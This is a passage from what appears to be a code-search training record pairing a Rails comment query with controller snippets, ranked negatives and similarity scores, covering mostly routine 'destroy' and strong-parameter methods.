"def destroy\n @vachana = Vachana.find(params[:id])\n @vachana.destroy\n\n respond_to do |format|\n format.html { redirect_to vachanas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vinyl.destroy\n respond_to do |format|\n format.html { redirect_to vinyls_url, notice: 'Vinyl was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voucher = Voucher.find(params[:id])\n @voucher.destroy\n\n respond_to do |format|\n format.html { redirect_to vouchers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @observacao_vocacionada = ObservacaoVocacionada.find(params[:id])\n @observacao_vocacionada.destroy\n\n respond_to do |format|\n format.html { redirect_to observacao_vocacionadas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vano = Vano.find(params[:id])\n @vano.destroy\n\n respond_to do |format|\n format.html { redirect_to vanos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n @api_v1_post_vote = PostVote.find(params[:id])\n @api_v1_post_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_post_votes_url }\n format.json { head :no_content }\n end\n end",
"def DeleteView id\n \n APICall(path: \"views/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @vodka = Vodka.find(params[:id])\n @vodka.destroy\n\n respond_to do |format|\n format.html { redirect_to vodkas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicel = @user.vehicels.find(params[:id])\n @vehicel.destroy\n respond_to do |format|\n format.html { redirect_to user_vehicels_path(@user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vice.destroy\n respond_to do |format|\n format.html { redirect_to vices_url, notice: 'Vice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vegetable = Vegetable.find(params[:id])\n @vegetable.destroy\n\n respond_to do |format|\n format.html { redirect_to(vegetables_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @officev.destroy\n respond_to do |format|\n format.html { redirect_to officevs_url, notice: 'Officev was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ventum.destroy\n respond_to do |format|\n format.html { redirect_to venta_url, notice: 'Se ha eliminado la venta exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @vitabus.destroy\n respond_to do |format|\n format.html { redirect_to vitabus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n @tipo_vehiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_vehiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lov.destroy\n respond_to do |format|\n format.html { redirect_to lovs_url, notice: 'Lov was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @votacion.destroy\n respond_to do |format|\n format.html { redirect_to votacions_url, notice: 'Votacion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vil.destroy\n respond_to do |format|\n format.html { redirect_to vils_url, notice: 'Vil was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vip.destroy\n respond_to do |format|\n format.html { redirect_to vips_url, notice: 'Vip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @kv = Kv.find(params[:id])\n @kv.destroy\n\n respond_to do |format|\n format.html { redirect_to kvs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vendamesa.destroy\n respond_to do |format|\n format.html { redirect_to vendamesas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @evclient = Evclient.find(params[:id])\n @evclient.destroy\n\n respond_to do |format|\n format.html { redirect_to evclients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @visto.destroy\n respond_to do |format|\n format.html { redirect_to vistos_url, notice: 'Visto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vano.destroy\n respond_to do |format|\n format.html { redirect_to vanos_url, notice: 'Vano was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @svote.destroy\n respond_to do |format|\n format.html { redirect_to svotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\n\n @vote = Vote.find(params[:id])\n\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to votes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @nuage_version.destroy\n respond_to do |format|\n format.html { redirect_to nuage_versions_url, notice: \"Nuage version was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ventum.destroy\n respond_to do |format|\n format.html { redirect_to venta_url, notice: 'Venteliminada satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tv = Tv.find(params[:id])\n @tv.destroy\n\n respond_to do |format|\n format.html { redirect_to tvs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @evangelism.destroy\n respond_to do |format|\n format.html { redirect_to evangelisms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @virus = Virus.find(params[:id])\n @virus.destroy\n\n respond_to do |format|\n format.html { redirect_to viri_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @volantino = Volantino.find(params[:id])\n @volantino.destroy\n\n respond_to do |format|\n format.html { redirect_to volantinos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vegetal.destroy\n respond_to do |format|\n format.html { redirect_to vegetals_url, notice: 'Vegetal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gethotel = Gethotel.find(params[:id])\n @gethotel.destroy\n\n respond_to do |format|\n format.html { redirect_to gethotels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apiv1_item.destroy\n respond_to do |format|\n format.html { redirect_to apiv1_items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pinglun = Pinglun.find(params[:id])\n @pinglun.destroy\n\n respond_to do |format|\n format.html { redirect_to pingluns_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @velement.destroy\n respond_to do |format|\n format.html { redirect_to velements_url, notice: 'Velement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipe = Equipe.find(params[:equipe_id])\n @adversaire = Adversaire.find(params[:id])\n @adversaire.destroy\n\n respond_to do |format|\n format.html { redirect_to @equipe }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vuelo.destroy\n respond_to do |format|\n format.html { redirect_to vuelos_url, notice: 'Vuelo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @livro = Livro.find(params[:id])\n @livro.destroy\n\n respond_to do |format|\n format.html { redirect_to livros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @verbo = Verbo.find(params[:id])\n @verbo.destroy\n\n respond_to do |format|\n format.html { redirect_to verbos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vint = Vint.find(params[:id])\n @vint.destroy\n\n respond_to do |format|\n format.html { redirect_to vints_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehcile.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @avert = Avert.find(params[:id])\n @avert.destroy\n\n respond_to do |format|\n format.html { redirect_to averts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @revenu = @foyer.revenus.find(params[:id])\n @revenu.destroy\n\n respond_to do |format|\n format.html { redirect_to foyer_revenus_url(@foyer) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vote = @votable.votes.find(params[:id])\n @vote.destroy\n respond_to do |format|\n format.html { redirect_to build_path_votes }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tags_of_novel = TagsOfNovel.find(params[:id])\n @tags_of_novel.destroy\n\n respond_to do |format|\n format.html { redirect_to tags_of_novels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vegetable.destroy\n respond_to do |format|\n format.html { redirect_to vegetables_url, notice: 'Vegetable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @visit = Visit.find(params[:id])\n @visit.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n head :no_content\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @viagem.destroy\n respond_to do |format|\n format.html { redirect_to viagens_url, notice: 'Viagem was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vigencia = Vigencia.find(params[:id])\n @vigencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(vigencias_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @planets_exoplanet = Planets::Exoplanet.find(params[:id])\n @planets_exoplanet.destroy\n\n respond_to do |format|\n format.html { redirect_to planets_exoplanets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clientepedido = Clientepedido.find(params[:id])\n @clientepedido.destroy\n\n respond_to do |format|\n format.html { redirect_to clientepedidos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vende = Vende.find([params[:id1],params[:id2],params[:id3]])\n @vende.destroy\n respond_to do |format|\n format.html { redirect_to vende_index_path, notice: 'A compra foi removida com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ventaganancium.destroy\n respond_to do |format|\n format.html { redirect_to ventaganancia_url, notice: 'Ventaganancium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue.destroy\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hotel = Hotel.find(params[:id])\n @hotel.destroy\n\n respond_to do |format|\n format.html { redirect_to hoteles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hotel.destroy\n respond_to do |format|\n format.html { redirect_to hotels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hotel.destroy\n respond_to do |format|\n format.html { redirect_to hotels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @grm_vetappt = GrmVetappt.find(params[:id])\n @grm_vetappt.destroy\n\n respond_to do |format|\n format.html { redirect_to grm_vetappts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @veterinario.destroy\n respond_to do |format|\n format.html { redirect_to veterinarios_url, notice: 'Veterinario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.71933347",
"0.7154275",
"0.7107153",
"0.7030319",
"0.69848806",
"0.6978392",
"0.6940445",
"0.6940276",
"0.6939857",
"0.6932891",
"0.69180393",
"0.689091",
"0.68542767",
"0.68395835",
"0.6806176",
"0.6806176",
"0.68018675",
"0.679401",
"0.67928416",
"0.6771822",
"0.67640436",
"0.67640436",
"0.67597765",
"0.67559105",
"0.67536575",
"0.6737409",
"0.67333746",
"0.67232734",
"0.671935",
"0.6709195",
"0.670584",
"0.66794664",
"0.6659479",
"0.6658707",
"0.66521645",
"0.6651885",
"0.6643971",
"0.6643237",
"0.66409236",
"0.6639093",
"0.6638586",
"0.66348636",
"0.66135776",
"0.66135776",
"0.66135776",
"0.66135776",
"0.66083866",
"0.6607805",
"0.660695",
"0.6601075",
"0.6598135",
"0.65905035",
"0.6585628",
"0.6584416",
"0.65743256",
"0.65725857",
"0.65709925",
"0.6562951",
"0.65624344",
"0.65619475",
"0.6559012",
"0.6558956",
"0.65574324",
"0.6557015",
"0.65528905",
"0.6546808",
"0.65458524",
"0.6542392",
"0.65405685",
"0.65374684",
"0.65358543",
"0.6535192",
"0.6531114",
"0.6528684",
"0.6527272",
"0.65240043",
"0.6521587",
"0.65208054",
"0.65208054",
"0.65208054",
"0.65208054",
"0.6519888",
"0.65144473",
"0.65132564",
"0.65122676",
"0.65063983",
"0.65047663",
"0.65021354",
"0.6496021",
"0.6495104",
"0.64937603",
"0.64921546",
"0.6490852",
"0.6489217",
"0.6486029",
"0.64829266",
"0.64822245",
"0.64822245",
"0.64794195",
"0.647703"
] |
0.7312526
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_voxel
@voxel = Voxel.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def voxel_params
params.require(:voxel).permit(:user_id, :title, :voxeljson)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
